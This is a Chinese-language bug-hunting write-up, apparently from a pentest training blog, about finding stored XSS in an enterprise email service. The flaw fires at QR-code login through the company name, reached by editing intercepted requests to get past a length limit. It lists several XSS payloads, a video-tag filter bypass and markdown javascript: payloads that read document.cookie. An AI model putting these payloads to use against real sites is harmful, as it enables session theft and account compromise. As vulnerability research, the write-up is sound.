浅记一次某企业邮的XSS漏洞挖掘
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
1
前言
一万年没有挖洞了,结果前几天搜东西的时候恰好遇到几个,感觉触发点有点意思,于是浅浅更新一下。
2
过程
登录界面如下
因为本身加过两个企业邮箱, 于是直接进去进行了一番测试, 最后找到一个self-xss
payload如下
<%<!--'%><script>alert(630);</script -->
<script src="data:text/javascript,alert(630)"></script>
<iframe/onreadystatechange=alert(630)
<svg/onload=alert(630)
<input type="text" value=`` <div/onmouseover='alert(630)'>
http://www.<script>alert(630)</script .com
<svg><script ?>alert(630)
没什么用, 还有几个地方都有存储型XSS, 都没什么危害, 还插坏了我几个号, 导致很多功能都用不了了, 懒得接着测, 想着直接自己注册一个, 功能更多一些
注册好了之后扫码登录
进入主界面
更改名字, 发现有长度限制
最后改成这样
实际测试的时候也改了其他可以的改的地方, 然后到处翻一翻, 看改过的地方是否会在某些地方触发, 中间有看到其它可以打XSS的的也会顺手
<h1>xss</h1>xss
这样写一个是方便, 也不容易被安全机制过滤掉, 因为很多弹窗的语句可能会被过滤或者怎么样, 导致错过一个可以XSS的点, 另一方面写两个XSS是为了触发的时候可以有比较明显的对比, 不然因为界面字体和大小的不同, 可能<h1>标签触发了但是视觉上并不明显。
经过一番折腾无果, 但是其中有一些发邮件, 邀请同事之类的地方, 所以我又注册了很多个企业邮来进行测试, 电脑手机都登陆了不同的账号, 然后进行各种测试, 无果, 直到某一次我换号在扫码登陆时候看到了这样
不知道大家看没看出来什么, 我再把前面的图放一下
因为这几天挖了很多个XSS, 所以对这里比较敏感, 一下就感觉到这里<video>标签触发了, 再看一下本来这里是什么
企业名称, 于是我重新注册了一个账号, 在注册的时候想写入XSS语句
这里有一个长度限制, 抓包改包直接绕过, 有两个包需要改
就不放图了, 一个在GET, 一个在POST
payload:
<body+onload=alert(document.cookie)>
//这里是加号是因为用的改包burp, 能不能直接f12改限制长度我没试
在扫描登录后, 选择要登录的账号的时候就会触发
当然, 如果只能新建企业的时候感觉实在是鸡肋了一点, 于是测试了已有企业改名字, 同样可以通过抓包突破长度限制成功改名,
写得虽然简单, 但是实际测试的时候因为功能点很多, 所以测了不少时间
写这个是感觉这个触发点有点意思, 以前很少遇到, 感觉还是需要细心一些才能发现, 常规来说, 扫码登陆时触发XSS是个很容易被忽略的点
单独提一个小tip:
在另外一个XSS的漏洞里, 原本payload如下
<video controls>
<source src="https://xxx.mp4" type="video/mp4">
</video>
查看源代码, 发现<video>标签没有被转义, 但是中间的<source>却不见了
尝试变形换一个写法成功bypass
最终payload:
<video onloadstart=alert(1) autoplay="autoplay" source src="https://www.runoob.com/try/demo_source/movie.mp4" type="video/mp4">
</video>
小tip2:
在另一个平台里, 可触发markdown的XSS, payload如下
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))
<javascript:prompt(document.cookie)>
![a'"`onerror=prompt(document.cookie)](x)
[citelol]: (javascript:prompt(document.cookie))
点击后触发
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/9548.html